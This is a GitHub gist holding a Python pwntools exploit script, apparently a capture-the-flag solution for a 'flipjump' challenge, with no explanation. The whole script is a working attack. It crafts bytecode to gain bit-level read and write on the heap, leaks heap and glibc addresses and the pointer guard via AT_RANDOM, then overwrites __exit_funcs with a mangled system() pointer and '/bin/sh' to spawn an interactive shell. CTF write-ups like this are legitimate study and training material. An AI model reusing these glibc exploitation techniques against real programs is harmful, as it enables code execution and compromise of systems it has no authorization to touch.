Skip to content

Instantly share code, notes, and snippets.

@dfyz
Created February 21, 2023 22:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dfyz/cccb633e1e19a458244db84a40d2efcc to your computer and use it in GitHub Desktop.
Save dfyz/cccb633e1e19a458244db84a40d2efcc to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
from pwn import *
def p64(n):
return struct.pack("<Q", n)
def gen_xorbyte(byteoffset, value, bitwidth, selfstart, jumpthen):
code = b""
for i in range(bitwidth):
if value & (1 << i):
code += p64(byteoffset * 8 + i) #f
else:
code += p64(0) #f
if i < bitwidth - 1:
code += p64(selfstart + i + 1) #j
else:
code += p64(jumpthen) #j
return code # <bitwidth> ops
def gen_xorbit(byteoffset, bitno, jumpthen):
return p64(byteoffset * 8 + bitno) + p64(jumpthen) # 1 op
def gen_dispatcher_settarget(selfstart, targetbyte, jumpthen):
code = b""
for i in range(16):
code += p64(0) #f
code += p64(selfstart + 16 + i*4) #j
for value in range(16):
code += gen_xorbyte(targetbyte, value, 4, selfstart + 16 + value*4, jumpthen)
return code # 80 ops
def gen_dispatcher_savetarget(selfstart, targetbyte, savetargetbyte, jumpthen):
code = b""
for i in range(16):
code += p64(0) #f
code += p64(selfstart + 16 + i*10) #j
for value in range(16):
handlerstart = selfstart + 16 + value*10
code += gen_xorbit(targetbyte, 7, handlerstart + 1) # targetbyte dispatcher is at 2**7 = 128
code += gen_xorbyte(targetbyte, value, 4, handlerstart + 1, handlerstart + 5)
code += gen_xorbyte(savetargetbyte, value, 4, handlerstart + 5, handlerstart + 9)
code += gen_xorbit(savetargetbyte, 4, jumpthen) # savetargetbyte dispatcher is at 2**4 = 16
return code # 176 ops
def gen_p1_code(flipbyteoffset, flipbitoffset): # big code that saves orig target and forms new 64-bit target for flip
code = b""
# 0
code += gen_xorbit(8+16*320, 7, 320) # targetbyte dispatcher is at 2**7 = 128
# 1
code += b'SSSSSSSS' + p64(0)
# 2 - target setter
code += gen_xorbyte(8+16*320, flipbyteoffset*8 + flipbitoffset, 64, 2, 1)
code = code.ljust(128*16, b'\0')
# 128
code += gen_dispatcher_savetarget(128, 8+16*320, 8+16*310, 2)
code = code.ljust(310*16, b'\0')
# 310
code += p64(0) + p64(0) # for savetarget
code = code.ljust(320*16, b'\0')
# 320
code += p64(0) + p64(0) # for target
for i in range(16):
code += b'bbbbbbbb' + p64(0) # for board bits
return code # 337 ops
def gen_p2_code(savetargetpc, padding=0): # small code that restores target from saved one, expects big code remnants after itself
code = b""
# 0
code += p64(0) + p64(savetargetpc)
# 1
code += b'SSSSSSSS' + p64(0)
code = code.ljust(16*16, b'\0')
# 16
code += gen_dispatcher_settarget(16, 8+16*100, 1)
code = code.ljust(100*16, b'\0')
# 100
code += b'TTTTTTTT' + p64(0) # for target
for i in range(16):
code += b'bbbbbbbb' + p64(0) # for board bits
code += b'Z' * padding
return code # 117 ops
play_again = b"Play again? (Y/N)\n"
def win_game(flipbyteoffset, flipbitoffset):
io.recvuntil(play_again)
io.send(b"Y\n")
p1code = gen_p1_code(flipbyteoffset, flipbitoffset)
p2code = gen_p2_code(0x1b0)
io.recvuntil(b'Enter code length:\n')
io.send(p64(len(p1code)))
io.recvuntil(b'Enter code:\n')
io.send(p1code)
io.recvuntil(b'Enter code length:\n')
io.send(p64(len(p2code)))
io.recvuntil(b'Enter code:\n')
io.send(p2code)
io.recvuntil(b'Flip')
flipres = io.recvline().decode().strip()
leakedBit = "1->" in flipres
return leakedBit
def leak_byte(byteoffset):
leaked = 0
for bitoffset in range(8):
modbyteoffset = byteoffset
if byteoffset < 0 and bitoffset != 0: # account for signedness of %
modbyteoffset -= 1
log.info('leaking bit #%d', bitoffset)
leaked |= win_game(modbyteoffset, bitoffset) << bitoffset
win_game(modbyteoffset, bitoffset) # flip back
return leaked
def leak_bytes(offset, length):
leaked = b""
for i in range(offset, offset + length):
log.info('leaking byte #%d', i - offset)
leaked += bytes([leak_byte(i)])
return leaked
def write_byte(byteoffset, value):
for bitoffset in range(8):
modbyteoffset = byteoffset
if byteoffset < 0 and bitoffset != 0: # account for signedness of %
modbyteoffset -= 1
wasBit = win_game(modbyteoffset, bitoffset)
if wasBit == ((value >> bitoffset) & 1):
win_game(modbyteoffset, bitoffset) # was correct, flip back
def write_bytes(offset, data):
for i in range(len(data)):
write_byte(offset + i, data[i])
print("Stage 1. Doing nothing and hoping for the best")
firstPlaceholder = b'11111111' + b'\0'*(len(gen_p2_code(0, padding=0x40)) - 8)
secondPlaceholder = b'22222222' + b'\0'*(len(gen_p1_code(0, 0)) - 8)
while True:
# io = gdb.debug('./flipjump_fixed')
io = process(["./flipjump_fixed"])
# io = process(["/usr/bin/qemu-x86_64-static", "-L", "/mnt/hgfs/f/libs/", "./flipjump_fixed"])
# io = process(["/usr/local/bin/ltrace", "./flipjump_fixed"])
# io = process(["/usr/bin/edb", "--run", "./flipjump_fixed"])
# io = remote("192.168.192.64", 4000)
# io = remote("flipjump2.chal.perfect.blue", 1337)
io.recvuntil(b'Enter code length:\n')
io.send(p64(len(firstPlaceholder)))
io.recvuntil(b'Enter code:\n')
io.send(firstPlaceholder)
io.recvuntil(b'Enter code length:\n')
io.send(p64(len(secondPlaceholder)))
io.recvuntil(b'Enter code:\n')
io.send(secondPlaceholder)
io.recvline()
res = io.recvline().decode().strip()
print(f"{res = }")
# if True:
if res != "Wrong":
break
io.close()
print("Stage 2. Doing actual useful stuff")
# tcache->counts[0] = 0
win_game(-688, 0)
heap_leak = unpack(leak_bytes(0x20, 5), 'all') << 12
log.info('heap leak: %#x', heap_leak)
glibc_leak = unpack(leak_bytes(0x7c0, 6), 'all') - 0x219ce0
log.info('glibc leak: %#x', glibc_leak)
# board2 address
heap_base = heap_leak + 0x2c0
def to_offset(addr):
return addr - heap_base
# leak __libc_argv
libc_argv_leak = unpack(
leak_bytes(to_offset(glibc_leak + 0x21aa20), 6),
'all'
)
log.info('__libc_argv leak: %#x', libc_argv_leak)
at_random_candidate = libc_argv_leak
for cand in range(1000):
log.info('checking candidate %d for AT_RANDOM: %#x', cand, at_random_candidate)
# #define AT_RANDOM 25 /* Address of 16 random bytes. */
if leak_byte(to_offset(at_random_candidate)) == 25:
# sanity check
if leak_byte(to_offset(at_random_candidate + 8 + 5)) == 0x7f:
log.info('found!')
break
at_random_candidate += 8
else:
raise Exception('Failed to find AT_RANDOM')
# leak AT_RANDOM[8...]
ptr_guard_addr = unpack(
# fetch from the val rather than type
leak_bytes(to_offset(at_random_candidate + 8), 6),
'all'
) + 8 # pointer guard is located just after the 8-byte canary
log.info('pointer guard addr: %#x', ptr_guard_addr)
ptr_guard_leak = u64(
leak_bytes(to_offset(ptr_guard_addr), 8)
)
log.info('pointer guard: %#x', ptr_guard_leak)
def mangle_val(x):
return rol(x ^ ptr_guard_leak, 0x11, word_size=64)
mangled_system_addr = p64(mangle_val(glibc_leak + 0x50d60))[:6]
bin_sh_addr = p64(glibc_leak + 0x1d8698)[:6]
write_bytes(to_offset(glibc_leak + 0x21af18), mangled_system_addr)
log.info('wrote system() to __exit_funcs')
write_bytes(to_offset(glibc_leak + 0x21af20), bin_sh_addr)
log.info('wrote /bin/sh to __exit_funcs')
io.sendlineafter(play_again, b'N')
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment